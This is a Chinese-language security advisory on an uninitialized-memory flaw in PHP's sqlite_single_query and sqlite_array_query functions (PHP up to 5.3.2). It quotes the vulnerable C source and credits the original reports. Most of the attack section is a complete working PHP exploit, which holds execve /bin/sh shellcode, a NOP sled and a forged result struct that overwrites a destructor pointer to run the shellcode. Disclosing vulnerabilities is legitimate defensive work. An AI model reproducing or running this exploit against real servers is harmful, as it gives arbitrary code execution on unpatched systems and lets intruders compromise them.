受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
如果对PHP的sqlite_single_query()和sqlite_array_query()函数使用了空的SQL查询的话,函数可能会使用未初始化的内存,这可能导致执行任意代码。以下是ext/sqlite/sqlite.c中的有漏洞代码段:
/* {{{ proto array sqlite_single_query(resource db, string query [, bool
first_row_only [, bool decode_binary]])
Executes a query and returns either an array for one single column or the
value of the first row. */
PHP_FUNCTION(sqlite_single_query)
{
…
struct php_sqlite_result *rres;
…
rres = (struct php_sqlite_result *)emalloc(sizeof(*rres)); [1]
sqlite_query(NULL, db, sql, sql_len, PHPSQLITE_NUM, 0, NULL, &rres, NULL
TSRMLS_CC); [2]
…
real_result_dtor(rres TSRMLS_CC); [3]
}
在[1]处所分配的资源rres没有在[2]处清零。如果查询为空,就可能在[3]传送给real_result_dtor内存。
static void real_result_dtor(struct php_sqlite_result *res TSRMLS_DC)
{
int i, j, base;
if (res->vm) {
sqlite_finalize(res->vm, NULL);
}
if (res->table) {
if (!res->buffered && res->nrows) {
res->nrows = 1; /* only one row is stored */
}
for (i = 0; i < res->nrows; i++) {
base = i * res->ncolumns;
for (j = 0; j < res->ncolumns; j++) {
if (res->table[base + j] != NULL) {
efree(res->table[base + j]);
}
}
}
efree(res->table); [1]
}
if (res->col_names) {
for (j = 0; j < res->ncolumns; j++) {
efree(res->col_names[j]);
}
efree(res->col_names); [2]
}
…
efree(res);
}
如果通过某种方式控制了传送给real_result_dtor的res,就可能触发双重释放。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://php-security.org/2010/05/07/mops-2010-012-php-sqlite_single_query-uninitialized-memory-usage-vulnerability/index.html
http://php-security.org/2010/05/07/mops-2010-013-php-sqlite_array_query-uninitialized-memory-usage-vulnerability/index.html
http://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
/* sqlite_single_query exploit for php-5.3.2
* discovered and exploited by digitalsun
*
* e-mail : ds@digitalsun.pl
* website : http://www.digitalsun.pl/
*/
/* DEFINE */
define(‘EVIL_SPACE_ADDR’, 0xb6f00000);
define(‘EVIL_SPACE_SIZE’, 1024*1024);
$SHELLCODE =
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
/* Initialize */
$sqh = sqlite_popen("/tmp/whatever");
/* allocate memory for evil table */
$EVIL_TABLE = str_repeat("\x31\x00\x00\x00", EVIL_SPACE_SIZE);
/* allocate memory for shellcode */
$CODE = str_repeat("\x90\x90\x90\x90", EVIL_SPACE_SIZE);
for ( $i = 0, $j = EVIL_SPACE_SIZE*4 – strlen($SHELLCODE) – 1 ;
$i < strlen($SHELLCODE) ; $i++, $j++ ) {
$CODE[$j] = $SHELLCODE[$i];
}
$rres =
/* struct php_sqlite_result { */
/* struct php_sqlite_db *db; */ "AAAA" .
/* sqlite_vm *vm; */ "\x00\x00\x00\x00" .
/* int buffered; */ "\x00\x00\x00\x00" .
/* int ncolumns; */ "\x00\x00\x00\x00" .
/* int nrows; */ "\x00\x00\x00\x00" .
/* int curr_row; */ "\x00\x00\x00\x00" .
/* char **col_names; */ pack(‘L’, EVIL_SPACE_ADDR) .
/* int alloc_rows; */ "\x00\x00\x00\x00" .
/* int mode; */ "\x00\x00\x00\x00" .
/* char **table; */ "\x00\x00\x00" ; // + one byte for \x00
/* };*/
str_repeat($rres,1);
$dummy = sqlite_single_query($sqh," ");
/* get hash table */
$array = array(array());
/* find hash table */
$hash_table_offset = NULL;
for ( $i = 0 ; $i < strlen($EVIL_TABLE) ; $i+=4 )
{
if ( $EVIL_TABLE[$i] != "\x31" ) {
$hash_table_offset = $i;
break;
}
}
if ( is_null($hash_table_offset) )
die("[-] Couldn’t find hash table, exiting.");
else
{
printf("[+] hashtable found @ 0x%08x\n", $hash_table_offset);
}
/* change the destructor */
$shellcode_addr = EVIL_SPACE_ADDR-EVIL_SPACE_SIZE*4-$hash_table_offset;
printf("[+] guessed shellcode address: 0x%08x\n", $shellcode_addr);
$shellcode_addr = pack(‘L’, $shellcode_addr);
$EVIL_TABLE[$hash_table_offset+8*4+3] = $shellcode_addr[3];
$EVIL_TABLE[$hash_table_offset+8*4+2] = $shellcode_addr[2];
$EVIL_TABLE[$hash_table_offset+8*4+1] = $shellcode_addr[1];
$EVIL_TABLE[$hash_table_offset+8*4+0] = $shellcode_addr[0];
printf("[+] jumping to the shellcode\n");
/* trigger the destructor */
unset($array);
die(‘[-] failed ;[‘);
?>
建议:
厂商补丁:
PHP
—
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。